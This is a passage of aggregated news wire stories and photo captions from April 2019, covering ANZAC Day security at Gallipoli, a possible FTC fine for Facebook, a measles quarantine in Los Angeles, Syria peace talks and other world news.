wreath laying ceremony at the Ho Chi Minh Mausoleum in Hanoi, Vietnam. North Korean leader Kim Jong Un's meeting with Russian President Vladimir Putin gives an intriguing twist to the global diplomatic push to resolve the nuclear standoff with North Korea, which appeared to hit a wall after a summit between Kim and President Donald Trump collapsed in February. (Jorge Silva/Pool Photo via AP, File) FILE - In this April 9, 2019 file photo, Russian President Vladimir Putin gestures while speaking at a plenary session of the International Arctic Forum in St. Petersburg, Russia. North Korean leader Kim Jong Un's meeting with Russian President Vladimir Putin gives an intriguing twist to the global diplomatic push to resolve the nuclear standoff with North Korea, which appeared to hit a wall after a summit between Kim and President Donald Trump collapsed in February. (AP Photo/Dmitri Lovetsky, File) FILE - In this Feb. 28, 2019 file photo, U.S. President Donald Trump, right, meets North Korean leader Kim Jong Un in Hanoi. North Korean leader Kim Jong Un's meeting with Russian President Vladimir Putin gives an intriguing twist to the global diplomatic push to resolve the nuclear standoff with North Korea, which appeared to hit a wall after a summit between Kim and President Donald Trump collapsed in February. (AP Photo/ Evan Vucci, File) CANBERRA, Australia (AP) - Australia's prime minister played down Thursday any potential link between the arrest of a suspected Islamic State group member in Turkey and a World War I battle commemoration in Gallipoli attended by hundreds of Australians and New Zealanders. Prime Minister Scott Morrison was responding to media reports that detained Syrian national Abdulkerim Hilef had been planning an attack on the annual dawn service at ANZAC Cove to mark the April 25, 1915, landing of Australian and New Zealand Army Corps troops in an ill-fated campaign to take the Dardanelles Straits. Morrison said the arrest took place three hours away from the Gallipoli service and no changes to security were made as a result. "The reports that we are receiving are inconclusive about any link between that arrest and any possible planned event at Gallipoli itself," Morrison told reporters. "In fact, to make that assumption would be, I think, making a very big assumption." A Turkish official agreed that the 26-year-old suspect's arrest was unconnected to the Gallipoli ceremonies. He was detained in the northwestern province of Tekirdag because he had been in contact with a group of Islamic State group suspects near the Syrian border in the southern Turkish province of Osmaniye, the official said. The official spoke to The Associated Press on condition of anonymity in line with government regulations that bar civil servants from speaking publicly without prior authorization. It is not clear when the arrest took place. People wait for the Dawn Service ceremony at the Anzac Cove beach, the site of World War I landing of the ANZACs (Australian and New Zealand Army Corps) on April 25, 1915, in Gallipoli peninsula, Turkey, early Thursday, April 25, 2019. As dawn broke, families of soldiers, leaders and visitors gathered near former battlefields, honouring thousands of Australians and New Zealanders who fought in the Gallipoli campaign of World War I on the ill-fated British-led invasion. The doomed Allied offensive to secure a naval route from the Mediterranean to Istanbul through the Dardanelles, and take the Ottomans out of the war, resulted in over 130,000 deaths on both sides.(AP Photo/Emrah Gurel) Morrison said Australian Defense Force Chief Gen. Angus Campbell represented Australia at the service and praised Turkish police and military security. "I was not concerned for the safety or security of this event," Campbell told reporters at Gallipoli. The Australian government estimated more than 1,400 attended the service under tight security involving x-ray screening and armed Turkish military guards. Concerns over security at Gallipoli escalated last month after an Australian was arrested following the killings of 50 worshippers at two mosques in New Zealand on March 15. Turkish President Recep Tayyip Erdogan warned that Australians and New Zealanders visiting Turkey with anti-Muslim views would return home in coffins, like their ancestors who fought at Gallipoli. Morrison slammed the comments as "highly offensive." He later said Erdogan's office had explained the president's words were "taken out of context." On Thursday, Erdogan issued a welcoming message of peace, saying it was everyone's duty to "protect the message of friendship that was etched in Gallipoli on rocks, earth and the sea, through blood, life, determination and courage." "A great responsibility befalls us all to ensure that no new war takes place and the generations to come can live in peace," Erdogan said. "I commemorate our Gallipoli heroes and salute our guests attending the ceremonies ... with sincere feelings," he added. Erdogan's statement did not mention the Syrian's arrest. ANZAC Day services were held throughout Australia and New Zealand on Thursday, with Britain's Prince William laying a wreath in the New Zealand city of Auckland. On Friday, the Duke of Cambridge is to visit the mosques in Christchurch where 50 Muslims were killed and another 50 wounded. Attendance at the Gallipoli dawn service has been falling since the centenary in 2015. But Dennis Basham, global head of sales for On The Go Tours, said his company did not receive any requests to cancel trips to Gallipoli because of the tensions following the Christchurch massacre. The Australian and New Zealand soldiers Erdogan referred to as leaving Turkey in coffins, actually were buried at Gallipoli. A monument near the Australian War Memorial in Canberra to the Turks' victorious military commander at Gallipoli, Kemal Ataturk, is inscribed with his reassuring words to Australians that their war dead "are now lying in the soil of a friendly country." Ataturk, the first president of the Turkish Republic, is quoted as saying in 1934: "You, the mothers who sent their sons from faraway countries, wipe away your tears; your sons are now lying in our bosom and are in peace. After having lost their lives on this land they have become our sons as well." Neil James, chief executive of the security think tank Australian Defense Association, said Australians and New Zealanders should not expect Turkey to always welcome large-scale Gallipoli commemorations. Increasingly, in Turkey the battle is seen as a religious war. "It's the Islamist nationals who are now running the show and I can actually foresee a time when we don't have major ceremonies at Gallipoli anymore because it just wouldn't be possible culturally and politically in Turkey," James said. "What we've taken for granted as having access at the Turks pleasure to the Gallipoli peninsula might not be a long-term proposition," he said. ___ Associated Press writer Suzan Fraser in Ankara, Turkey, contributed to this report. People attend he Dawn Service ceremony at the Anzac Cove beach, the site of World War I landing of the ANZACs (Australian and New Zealand Army Corps) on April 25, 1915, in Gallipoli peninsula, Turkey, early Thursday, April 25, 2019. As dawn broke, families of soldiers, leaders and visitors gathered near former battlefields, honouring thousands of Australians and New Zealanders who fought in the Gallipoli campaign of World War I on the ill-fated British-led invasion. The doomed Allied offensive to secure a naval route from the Mediterranean to Istanbul through the Dardanelles, and take the Ottomans out of the war, resulted in over 130,000 deaths on both sides.(AP Photo/Emrah Gurel) People attend he Dawn Service ceremony at the Anzac Cove beach, the site of World War I landing of the ANZACs (Australian and New Zealand Army Corps) on April 25, 1915, in Gallipoli peninsula, Turkey, early Thursday, April 25, 2019. As dawn broke, families of soldiers, leaders and visitors gathered near former battlefields, honouring thousands of Australians and New Zealanders who fought in the Gallipoli campaign of World War I on the ill-fated British-led invasion. The doomed Allied offensive to secure a naval route from the Mediterranean to Istanbul through the Dardanelles, and take the Ottomans out of the war, resulted in over 130,000 deaths on both sides.(AP Photo/Emrah Gurel) People attend he Dawn Service ceremony at the Anzac Cove beach, the site of World War I landing of the ANZACs (Australian and New Zealand Army Corps) on April 25, 1915, in Gallipoli peninsula, Turkey, early Thursday, April 25, 2019. As dawn broke, families of soldiers, leaders and visitors gathered near former battlefields, honouring thousands of Australians and New Zealanders who fought in the Gallipoli campaign of World War I on the ill-fated British-led invasion. The doomed Allied offensive to secure a naval route from the Mediterranean to Istanbul through the Dardanelles, and take the Ottomans out of the war, resulted in over 130,000 deaths on both sides.(AP Photo/Emrah Gurel) Britain's Prince William and New Zealand's Prime Minister Jacinda Ardern attend an Anzac Day service at Auckland War Memorial Museum in Auckland, New Zealand Thursday, April 25, 2019. (Mark Tantrum/The New Zealand Government via AP) People attend he Dawn Service ceremony at the Anzac Cove beach, the site of World War I landing of the ANZACs (Australian and New Zealand Army Corps) on April 25, 1915, in Gallipoli peninsula, Turkey, early Thursday, April 25, 2019. As dawn broke, families of soldiers, leaders and visitors gathered near former battlefields, honouring thousands of Australians and New Zealanders who fought in the Gallipoli campaign of World War I on the ill-fated British-led invasion. The doomed Allied offensive to secure a naval route from the Mediterranean to Istanbul through the Dardanelles, and take the Ottomans out of the war, resulted in over 130,000 deaths on both sides.(AP Photo/Emrah Gurel) People attend he Dawn Service ceremony at the Anzac Cove beach, the site of World War I landing of the ANZACs (Australian and New Zealand Army Corps) on April 25, 1915, in Gallipoli peninsula, Turkey, early Thursday, April 25, 2019. As dawn broke, families of soldiers, leaders and visitors gathered near former battlefields, honouring thousands of Australians and New Zealanders who fought in the Gallipoli campaign of World War I on the ill-fated British-led invasion. The doomed Allied offensive to secure a naval route from the Mediterranean to Istanbul through the Dardanelles, and take the Ottomans out of the war, resulted in over 130,000 deaths on both sides.(AP Photo/Emrah Gurel) Flag bearers carry Australian flags during a march celebrating ANZAC Day, a national day of remembrance in Australia and New Zealand that commemorates those that served and died in all wars, conflicts, and while peacekeeping, in Sydney, Australia, Thursday, April 25, 2019. (AP Photo/Rick Rycroft) Riderless horses symbolizing fallen soldiers take part in a march celebrating ANZAC Day, a national day of remembrance in Australia and New Zealand that commemorates those that served and died in all wars, conflicts, and while peacekeeping, in Sydney, Australia, Thursday, April 25, 2019. (AP Photo/Rick Rycroft) Members of the Australian Army march to celebrate ANZAC Day, a national day of remembrance in Australia and New Zealand that commemorates those that served and died in all wars, conflicts, and while peacekeeping, in Sydney, Australia, Thursday, April 25, 2019. (AP Photo/Rick Rycroft) People line a street during a march celebrating ANZAC Day, a national day of remembrance in Australia and New Zealand that commemorates those that served and died in all wars, conflicts, and while peacekeeping, in Sydney, Australia, Thursday, April 25, 2019. (AP Photo/Rick Rycroft) Riders participate in a march celebrating ANZAC Day, a national day of remembrance in Australia and New Zealand that commemorates those that served and died in all wars, conflicts, and while peacekeeping, in Sydney, Australia, Thursday, April 25, 2019. (AP Photo/Rick Rycroft) A man plays a tuba during a march celebrating ANZAC Day, a national day of remembrance in Australia and New Zealand that commemorates those that served and died in all wars, conflicts, and while peacekeeping, in Sydney, Australia, Thursday, April 25, 2019. (AP Photo/Rick Rycroft) A woman carries a photo of a veteran during a march celebrating ANZAC Day, a national day of remembrance in Australia and New Zealand that commemorates those that served and died in all wars, conflicts, and while peacekeeping, in Sydney, Australia, Thursday, April 25, 2019. (AP Photo/Rick Rycroft) Two-year-old Sabastian Nunez claps his hands as he watches a march celebrating ANZAC Day, a national day of remembrance in Australia and New Zealand that commemorates those that served and died in all wars, conflicts, and while peacekeeping, in Sydney, Australia, Thursday, April 25, 2019. (AP Photo/Rick Rycroft) World War II veteran 103-year-old Bert Collins is pushed in his wheelchair during a march celebrating ANZAC Day, a national day of remembrance in Australia and New Zealand that commemorates those that served and died in all wars, conflicts, and while peacekeeping, in Sydney, Australia, Thursday, April 25, 2019. (AP Photo/Rick Rycroft) The shadow of an Australian veteran, right, is cast on the ground as he waves his hat during a march celebrating ANZAC Day, a national day of remembrance in Australia and New Zealand that commemorates those that served and died in all wars, conflicts, and while peacekeeping, in Sydney, Australia, Thursday, April 25, 2019. (AP Photo/Rick Rycroft) An Australian veteran, right, waves his hat during a march celebrating ANZAC Day, a national day of remembrance in Australia and New Zealand that commemorates those that served and died in all wars, conflicts, and while peacekeeping, in Sydney, Australia, Thursday, April 25, 2019. (AP Photo/Rick Rycroft) Army officers observe a minute of silence during the Dawn Service ceremony at the Anzac Cove beach, the site of World War I landing of the ANZACs (Australian and New Zealand Army Corps) on April 25, 1915, in Gallipoli peninsula, Turkey, early Thursday, April 25, 2019. As dawn broke, families of soldiers, leaders and visitors gathered near former battlefields, honouring thousands of Australians and New Zealanders who fought in the Gallipoli campaign of World War I on the ill-fated British-led invasion. The doomed Allied offensive to secure a naval route from the Mediterranean to Istanbul through the Dardanelles, and take the Ottomans out of the war, resulted in over 130,000 deaths on both sides.(AP Photo/Emrah Gurel) Army officers observe a minute of silence during the Dawn Service ceremony at the Anzac Cove beach, the site of World War I landing of the ANZACs (Australian and New Zealand Army Corps) on April 25, 1915, in Gallipoli peninsula, Turkey, early Thursday, April 25, 2019. As dawn broke, families of soldiers, leaders and visitors gathered near former battlefields, honouring thousands of Australians and New Zealanders who fought in the Gallipoli campaign of World War I on the ill-fated British-led invasion. The doomed Allied offensive to secure a naval route from the Mediterranean to Istanbul through the Dardanelles, and take the Ottomans out of the war, resulted in over 130,000 deaths on both sides.(AP Photo/Emrah Gurel) A woman is checked by Turkish military police at a security checkpoint in order to enter the Dawn Service ceremony at the Anzac Cove beach, the site of World War I landing of the ANZACs (Australian and New Zealand Army Corps) on April 25, 1915, in Gallipoli peninsula, Turkey, early Thursday, April 25, 2019. As dawn broke, families of soldiers, leaders and visitors gathered near former battlefields, honouring thousands of Australians and New Zealanders who fought in the Gallipoli campaign of World War I on the ill-fated British-led invasion. The doomed Allied offensive to secure a naval route from the Mediterranean to Istanbul through the Dardanelles, and take the Ottomans out of the war, resulted in over 130,000 deaths on both sides.(AP Photo/Emrah Gurel) Britain's Prince William, front right, and New Zealand's Prime Minister Jacinda Ardern, second right in front, attend an Anzac Day service at Auckland War Memorial Museum in Auckland, New Zealand Thursday, April 25, 2019. (Mark Tantrum/The New Zealand Government via AP) People wait for the Dawn Service ceremony at the Anzac Cove beach, the site of World War I landing of the ANZACs (Australian and New Zealand Army Corps) on April 25, 1915, in Gallipoli peninsula, Turkey, early Thursday, April 25, 2019. As dawn broke, families of soldiers, leaders and visitors gathered near former battlefields, honouring thousands of Australians and New Zealanders who fought in the Gallipoli campaign of World War I on the ill-fated British-led invasion. The doomed Allied offensive to secure a naval route from the Mediterranean to Istanbul through the Dardanelles, and take the Ottomans out of the war, resulted in over 130,000 deaths on both sides.(AP Photo/Emrah Gurel) People wait for the Dawn Service ceremony at the Anzac Cove beach, the site of World War I landing of the ANZACs (Australian and New Zealand Army Corps) on April 25, 1915, in Gallipoli peninsula, Turkey, early Thursday, April 25, 2019. As dawn broke, families of soldiers, leaders and visitors gathered near former battlefields, honouring thousands of Australians and New Zealanders who fought in the Gallipoli campaign of World War I on the ill-fated British-led invasion. The doomed Allied offensive to secure a naval route from the Mediterranean to Istanbul through the Dardanelles, and take the Ottomans out of the war, resulted in over 130,000 deaths on both sides.(AP Photo/Emrah Gurel) BELLS BEACH, Australia (AP) - Eleven-time world champion Kelly Slater has advanced from the round of 32 at the Bells Beach World Surf League event, and fellow American Caroline Marks and seven-time world champion Stephanie Gilmore are into the quarterfinals. It was a much improved performance from Slater, who is returning from a lengthy layoff last season because of broken right foot. Slater was eliminated in his second-round heat in the WSL's season-opening event two weeks ago on the Gold Coast. The 47-year-old Slater beat Australian Julian Wilson 11.84 points to 7.20 on Thursday to move into the round of 16. Slater's next opponent will be Peterson Crisanto, who won an all-Brazilian encounter against Michael Rodrigues. Florida teenager Marks, who won her first WSL event on the Gold Coast, edged fellow American Bronte Macaulay 7.67 to 5.20 while Gilmore advanced to the final eight by beating fellow Australian Kobie Enright 14.13 to 10.76. The Bells Beach event had been hit by three consecutive lay days due to poor surf, but conditions improved Thursday and were expected to be even better on Friday and the weekend - up to five meters (16 feet). "Tomorrow's round is going to be dodging bullets," Slater said. "I don't know that it's going to be favoring anybody. I think it's just going to be choosing the right waves and positioning yourself." The WSL circuit will help determine qualifiers for next year's Tokyo Olympics, where surfing will make its debut. The top 10-ranked men and eight highest-ranked women on the 2019 tour will be among those qualifying for the 2020 Games. ____ More AP sports: https://apnews.com/apf-sports and https://twitter.com/AP_Sports SAN FRANCISCO (AP) - The possibility of a $5 billion federal privacy fine for Facebook suggests that U.S. regulators may be taking a cue from the large penalties their European counterparts have been handing out to U.S. technology giants. While investors appear to have shrugged it off for now, the potential fine from the U.S. Federal Trade Commission would be more than a slap on the wrist for Facebook, especially if it comes with strings that limit how the company targets advertising to its massive user base. Facebook said Wednesday it is planning for a fine between $3 billion and $5 billion and formally set aside $3 billion for the FTC, which is investigating whether the social network violated its users' privacy. The amount is a contingency against a possible penalty; Facebook noted that the "matter remains unresolved." The company's disclosure is the latest indication of U.S. moves toward tighter regulation of the technology industry, which has enjoyed years of nearly unrestricted growth with little oversight. Talk of a national data-privacy law is swirling around Capitol Hill, states like California have already forged ahead with their own measures, and U.S. presidential candidate Elizabeth Warren has proposed breaking up the biggest U.S. tech companies. In Europe, regulators have routinely slapped Google and other U.S. firms with major fines. Google now owes almost $10 billion in such penalties for alleged anticompetitive behavior; its parent company Alphabet is appealing. EU watchdogs also hit Apple with a back-taxes bill of more than $15 billion . Facebook, meanwhile, is already preparing for a future where targeted ads play a smaller role in its business, flexing its muscles in e-commerce and payments and touting a coming shift toward private communications. FILE - In this March 28, 2018, file photo, a visitor poses for a photo with the Facebook logo reflected on her sunglasses at the company's headquarters in Menlo Park, Calif. Facebook reports earnings Wednesday, April 24, 2019. (AP Photo/Marcio Jose Sanchez, File) The one-time charge slashed Facebook's first-quarter profit considerably, although revenue grew by 26% in the period. The FTC has been looking into whether Facebook broke its own 2011 agreement promising to protect user privacy. Investors shrugged off the charge and sent the company's stock up more than 9% to nearly $200 in after-hours trading. Wall Street in general tends to forgive one-time accounting dents in companies' earnings reports and focus instead on how the overall business is doing. Besides, even if Facebook ends up paying $5 billion this year, it's unlikely to seriously harm a company that's expected to rake in profit of $22 billion this year. EMarketer analyst Debra Aho Williamson, however, called it a "significant development" and noted that any settlement is likely to go beyond a mere dollar amount. The FTC move, she said, "may impact the ways advertisers can use the platform in the future." Facebook has had several high-profile privacy lapses in the past couple of years. The FTC has been looking into Facebook's involvement with the data-mining firm Cambridge Analytica since last March. That company accessed the data of as many as 87 million Facebook users without their consent. The 2011 FTC agreement bound Facebook to a 20-year privacy commitment and violations could subject Facebook to fines of $41,484 per violation per user per day. The agreement requires that Facebook users give "affirmative express consent" any time that data they haven't made public is shared with a third party. Cambridge Analytica accessed information from so many users because it was able to access the data of people's friends, and not just people who explicitly permitted access when they took a personality quiz. While Facebook did have controls in place that allowed people to restrict such access, they were buried in the site's settings and difficult to find. The FTC's investigation and anticipated sanction against Facebook has put a spotlight on the agency's role as an enforcer of privacy protections. Consumer privacy advocates and Democratic lawmakers, saying the FTC is hampered, have pushed for legislation to expand its powers and funding to police privacy. Republicans have generally opposed an expansion of federal authority, but in the wake of the Facebook and other privacy scandals some have taken a more open view. The FTC would be expected to write the rules for the privacy legislation if it were to become law. Beyond consumer advocates, some business interests also are proposing an expanded role on privacy protection for the FTC. The Business Roundtable, representing CEOs of major companies, has put forward a proposed framework for national legislation that includes "adequate funding and staffing to effectively enforce the consumer privacy law." In addition to the FTC investigation, Facebook faces several others in the U.S. and Europe, including by the Irish Data Protection Commission , and others in Belgium and Germany . Ireland is Facebook's lead privacy regulator for Europe. The FTC is also reportedly looking into how it might hold CEO Mark Zuckerberg accountable for the company's privacy lapses. __ AP Business Writer Marcy Gordon contributed to this story from Washington. DALLAS (AP) - The Dallas City Council has expanded the powers of the independent panel that oversees city police and hears complaints about officer misconduct. Council members voted unanimously Wednesday to give the newly renamed Community Police Oversight Board a budget and staff of four to monitor complaints against officers. Activists in Dallas have been calling for greater powers for the oversight board for years. Their cause took on a new sense of urgency, however, after national attention focused on how the North Texas city handled a white, off-duty police officer's fatal shooting of a 26-year-old black man in his own apartment. The changes were supported by Police Chief U. Renee Hall, who will retain control over officer discipline, and applauded by activists, city leaders and the board's current members. Mike Mata, president of the Dallas Police Association, listens during a meeting at Dallas City Hall in Dallas on Wednesday, April 24, 2019. The Dallas City Council has expanded the powers of the independent panel that oversees city police and hears complaints about officer misconduct. (Vernon Bryant/The Dallas Morning News via AP) Dallas Police Chief U. Renee Hall answers a question from a Dallas City council member during a meeting at Dallas City Hall in Dallas on Wednesday, April 24, 2019. The Dallas City Council has expanded the powers of the independent panel that oversees city police and hears complaints about officer misconduct. (Vernon Bryant/The Dallas Morning News via AP) BEIJING (AP) - China said Thursday that it will hold joint naval drills with Russia next week, in another sign that the countries' militaries are growing closer. The drills will be held off the northern port city of Qingdao, Defense Ministry spokesman Ren Guoqiang said at a monthly briefing. Taking place from Monday to Saturday, they will feature ships and submarines along with fixed-wing aircraft, helicopters and marine units. Bonded by a common rivalry with the U.S., Moscow and Beijing have forged what they describe as a "strategic partnership," expressing their shared opposition to the "unipolar" world - a term they use to describe perceived U.S. global dominance. Last September, about 3,200 Chinese troops joined Russia's largest-ever war games in Siberia, in which nearly 300,000 Russian troops conducted drills. China's People's Liberation Army Navy marked its 70th anniversary this week with a fleet review attended by President Xi Jinping, who is also head of the armed forces and has expanded the country's military might. Last year, Xi said the mission of transforming China's navy into a "first-rate world navy" has "never been more urgent." China has taken an aggressive approach to its territorial claims in the South China Sea, where it has built military installations on man-made islands in the waters claimed by several other nations. PARIS (AP) - Aid groups are suing the French government to stop the donation of six boats to Libya's navy, saying the watercraft will be used to take migrants to detention centers notorious for horrific conditions. Europe has relied heavily on the Libyan coast guard, which is part of the navy, to intercept migrants bound for Europe and return them to the detention centers, where disease is widespread and migrants say they face routine abuse. Conditions have deteriorated further in recent weeks as fighting has erupted between rival militias. The U.N. says some 3,600 refugees and migrants are detained near the front lines. The lawsuit filed Thursday by eight aid groups seeks a stay on the boat donation, saying it violates the European embargo on Libya and makes France complicit in the abuse. BETHLEHEM, W.Va. (AP) - A West Virginia police officer accused of stalking an underage girl has posted bail and been released from custody. News outlets report 29-year-old Bethlehem police Officer Daniel Eastham was arrested last week and released from custody Tuesday. He's not allowed near the school or girl. A police report says the mother of the Ohio County student told Eastham in November to leave her daughter alone. She also got a restraining order against him that was set to expire in September. The report says he appeared at the school in January with gifts for the girl, who the report says was "visibly shaken and upset." The student said Eastham would visit the school to "spy" on her. Eastham is charged with stalking and violation of a protective order. BERLIN (AP) - A study has found that Germans are increasingly hostile toward asylum-seekers, whereas prejudices toward other minorities such as homeless or gay people have declined. The Friedrich Ebert Foundation, which commissioned the survey, said Thursday that 54.1% of respondents expressed negative opinions about asylum-seekers, up from 49.5% in 2016 and 44% in 2014. Germany saw a significant increase in migrant arrivals in 2016, with almost 746,000 people seeking asylum that year. Numbers have since declined again, with about 186,000 asylum requests last year. The representative telephone survey, which is conducted every two years, involved 1,890 respondents and took place between September and February. The study also examined for the first time how receptive Germans are to conspiracy theories. It found about that 46% of respondents believed secret organizations influence political decision-making. LOS ANGELES (AP) - More than 200 students and staff at two Los Angeles universities have been placed under quarantine because they may have been exposed to measles and either have not been vaccinated or cannot verify that they are immune, officials said Thursday. The order issued late Wednesday in connection with the University of California, Los Angeles, and California State University, Los Angeles, requires that affected people stay home, avoid contact with others and notify authorities if they develop measles symptoms. Los Angeles County public health officials issued quarantines of 24 to 48 hours until proof of immunity is established, according to a statement from UCLA. Some people may need to be quarantined for up to a week. "Please be assured that we have the resources we need for prevention and treatment, and that we are working very closely with local public health officials on the matter," UCLA Chancellor Gene Block in the statement. Measles in the United States has climbed to its highest level in 25 years, closing in on 700 cases this year in a resurgence largely attributed to misinformation that is turning parents against vaccines. Roughly three-quarters of this year's illnesses have been in New York state. A UCLA student who was diagnosed with measles possibly exposed 500 people on campus to measles in early April, according to a statement from the school. As of Thursday afternoon, 79 of those students and faculty members had not provided medical records showing that they are immune to measles, the university said. The Cal State University, Los Angeles Student Union building is seen in Los Angeles Thursday, April 25, 2019. Hundreds of students and staff at two Los Angeles universities, including Cal State University, have been placed under quarantine because they may have been exposed to measles and either have not been vaccinated or cannot verify that they are immune, officials said Thursday. (AP Photo/Damian Dovarganes) Meanwhile at Cal State, a person infected with measles visited a library and possibly encountered hundreds of employees, some of whom were students. A total of 156 of them could not provide their immunization records as of Thursday afternoon, according to a statement from the Cal State. Health officials determined that there is "no known current risk related to measles at the library at this time," Cal State said in its statement. The orders come as a small outbreak of measles occurs in Los Angeles County involving five confirmed cases linked to overseas travel. The state recorded 38 measles cases as of Thursday; there were 11 around the same time last year, said Dr. Karen Smith, director of the California Department of Public Health. The state typically sees fewer than two dozen cases a year, she said. This year, California's cases stretch across 11 counties and affect patients from 5 months old to 55. More than 76% of patients were not vaccinated or did not receive the recommended two doses of vaccine, Smith said. Fourteen of those infected had traveled overseas to countries including Philippines, Thailand, India and Ukraine. Measles in most people causes fever, runny nose, cough and a rash all over the body. However, a small fraction of those infected can suffer complications such as pneumonia and a dangerous swelling of the brain. The Centers for Disease Control and Prevention recommends the vaccine for everyone over a year old, except for people who had the disease as children. Those who have had measles are immune. The vaccine, which became available in the 1960s, is considered safe and effective, and because of it, measles was declared all but eliminated in the U.S. in 2000. ___ Associated Press Writer John Antczak contributed to this report. ___ Follow Weber at https://twitter.com/WeberCM Students walk past the Harriet and Charles Luckman Fine Arts Complex at the The Cal State University, Los Angeles campus Thursday, April 25, 2019. Hundreds of students and staff at two Los Angeles universities, including Cal State University, have been placed under quarantine because they may have been exposed to measles and either have not been vaccinated or cannot verify that they are immune, officials said Thursday. (AP Photo/Damian Dovarganes) Students walk past Royce Hall at the University of California, Los Angeles Thursday, April 25, 2019, in the Westwood section of Los Angeles. Hundreds of students and staff at two Los Angeles universities, including UCLA, have been placed under quarantine because they may have been exposed to measles. Officials say the people affected by the order either have not been vaccinated or cannot verify that they are immune. (AP Photo/Jae C. Hong) Students sit on the lawn near Royce Hall at UCLA Thursday, April 25, 2019, in the Westwood section of Los Angeles. Hundreds of students and staff at two Los Angeles universities, including UCLA, have been placed under quarantine because they may have been exposed to measles. Officials say the people affected by the order either have not been vaccinated or cannot verify that they are immune. (AP Photo/Jae C. Hong) CORRECTS TO ORDER ISSUED LATE WEDNESDAY Students practice track at the Cal State University, Los Angeles campus Thursday, April 25, 2019. A quarantine order was issued late Wednesday for hundreds of students and staff at two Los Angeles universities, including Cal State University, who may have been exposed to measles and either have not been vaccinated or can't verify that they have immunity. (AP Photo/Damian Dovarganes) Students drive to Cal State University, Los Angeles campus Thursday, April 25, 2019. Hundreds of students and staff at two Los Angeles universities, including Cal State University, have been placed under quarantine because they may have been exposed to measles. Officials say the people affected by the order either have not been vaccinated or cannot verify that they are immune. (AP Photo/Damian Dovarganes) FILE - This Feb. 26, 2015 file photo shows students on the University of California, Los Angeles campus. A quarantine order was issued Thursday, April 25, 2019, for hundreds of students and staff at two Los Angeles universities who may have been exposed to measles and either have not been vaccinated or can't verify that they have immunity. (AP Photo/Damian Dovarganes, File) FILE - In this June 30, 2015, file photo, Jennifer Wonnacott holds her son, Gavin, as he points to a sign showing supporters of a measure requiring nearly all California school children to be vaccinated, at a news conference after the State Bill 277 was signed by Gov. Jerry Brown in Sacramento, Calif. State health officials say the number of measles cases in 2019 is up in California with cases stretching across 11 counties and affecting patients from 5 months to 55 years of age. Dr. Karen Smith, director of the California Department of Public Health, says more than 76% of patients were not vaccinated or didn't receive the recommended two doses of vaccine. Fourteen of those infected had traveled overseas to countries including Philippines, Thailand, India and Ukraine. Measles symptoms include high fever, a cough and a rash. (AP Photo/Rich Pedroncelli, File) FILE - In this Jan. 29, 2015, file photo, pediatrician Charles Goodman vaccinates 1-year-old Cameron Fierro with the measles-mumps-rubella vaccine, or MMR vaccine, at his practice in Northridge, Calif. A new study published in the journal Science suggests the measles vaccine not only prevents measles, but may also help the body ward off other infections. State health officials say the number of measles cases is up in California this year and much of the increase is linked to overseas travel. Dr. Karen Smith, director of the California Department of Public Health, says the state recorded 38 measles cases as of Thursday, April 25, 2019, versus 11 around the same time last year. She says the state typically sees fewer than two dozen cases a year. (AP Photo/Damian Dovarganes,File) National President of the USDP party Whatsapp The warning from South West Governor, Bernard Okalia Bilai to traditional authorities in his region, threatening them to participate in National day activities come May 20, has been described as an abomination and a mockery to tradition. The National President of the Opposition party, USDP( United Socialist Democratic Party? Prince M.N. Ekosso has expressed disgust on such a decision, saying the governor is a danger to his people. "We must recall that the arrogance of Mr. Bernard Okalia Bilai has been one of the escalators of the current Southern Cameroon crisis. We are asking Mr. Bernard Okalia Bilai to moderate his approach or he should be removed as governor of the South West region with immediate effect before he continues the provocation of more genocidal exercise in the South West region and particularly in Fako Division, said the Presidential aspirant. He questioned who the governor is, to ask a Titled man or Chief in the region, to hold a placard and match, while he is seated. An act he considers an abomination. To Prince Ekosso, the threat is an indication that the government, doesnt have control over its people anymore, hence they are forcing traditional rulers to carry placards and match. "Threatening the chiefs to carry placards for the first time in our history is a mockery in the highest order and a big sign that the government has no control. Under normal circumstances the chiefs should be seated on the ground stand like all dignitaries and watch their subjects match pass, he continued. He however regrets that these chiefs, would have no choice, than to go and match, so that they can continue to receive support from government or allegedly suggested that their lives could be in danger. The Governor threatened traditional authorities that they would be dethroned, if they dont take part in these activities, with their subjects in rank, behind them. DAMASCUS, Syria (AP) - Syria's ambassador to the United Nations on Friday accused the United State and the European Union of practicing "economic terrorism" against his country by imposing what he described as illegitimate and unilateral sanctions. Bashar Ja'afari made his comments in the Kazakh capital of Nur-Sultan, where Russia, Turkey and Iran held a new round of talks with the Syrian government and the opposition on steps to bring peace to the country. Last month, Kazakhstan renamed its capital from Astana to Nur-Sultan, in honor of the country's longtime leader who resigned the week before. It is the 12th round of talks in Nur-Sultan bringing together the major stakeholders on opposing sides of the Syrian civil war, in the hopes of nudging it toward a resolution. But at the end of the two-day talks Friday, Syria's warring sides and the mediators failed again to agree on the formation of a committee meant to draft a new constitution, seen by the United Nations and the U.S. as a key step toward ending the eight-year civil war. With crucial military assistance from Russia and Iran, President Bashar Assad's forces have regained control of most of the territory previously held by rebels. Government-held areas, however, have been reeling from the effects of economic sanctions imposed on Syria and its ally Iran. Ja'afari's comments came amid widespread fuel shortages in Damascus and other government-controlled areas that have forced people to wait for hours in lines stretching several miles (kilometers) to get few liters (gallons) of gasoline. "This is economic terrorism that is escalating through unilateral economic measures," Ja'afari said, adding that they are illegitimate because they are not the decision of the U.N. Security Council. FILE - In this April 5, 2018 file photo, destroyed buildings line a street damaged during fighting between U.S.-backed Syrian Democratic Forces fighters and Islamic State militants, in Raqqa, Syria. Amnesty International and Airwars, a London-based watchdog group, said Thursday, April 25, 2019, that the U.S.-led coalition killed more than 1,600 civilians in the northern Syria city of Raqqa during months of bombardment that liberated it from the Islamic State group. They said the toll came after the "most comprehensive investigation into civilian deaths in a modern conflict." (AP Photo/Hussein Malla, File) The Syrian official also blasted western countries that are refusing to take back their citizens who went to Syria to fight with the Islamic State group, saying they made "Syria a victim twice," first by sending the fighters and now by making some of them and their families stay in Syria. He added that IS has not been wiped out as the U.S. and Syrian fighters it backs announced last month, adding that Syrian government forces and their allies are still fighting the extremists in pockets they hold in the desert. A final statement issued at the end of Astana's 12th round also rejected President Donald Trump's formal recognition of Israel's sovereignty over Syria's occupied Golan Heights. Ja'afari said Turkey and opposition groups it backs now control more than 6,000 square kilometers (2,315 square miles) of northern Syria which is four times the size of the Golan Heights. It was not immediately clear whether any agreements had been reached on the northwestern province of Idlib, where a 7-month-old cease-fire agreement reached between Turkey and Russia is increasingly being violated. In Syria, opposition activists said insurgents fired two rockets at Russia's Hemeimeem air base in Latakia province, adding that Russian warplanes launched 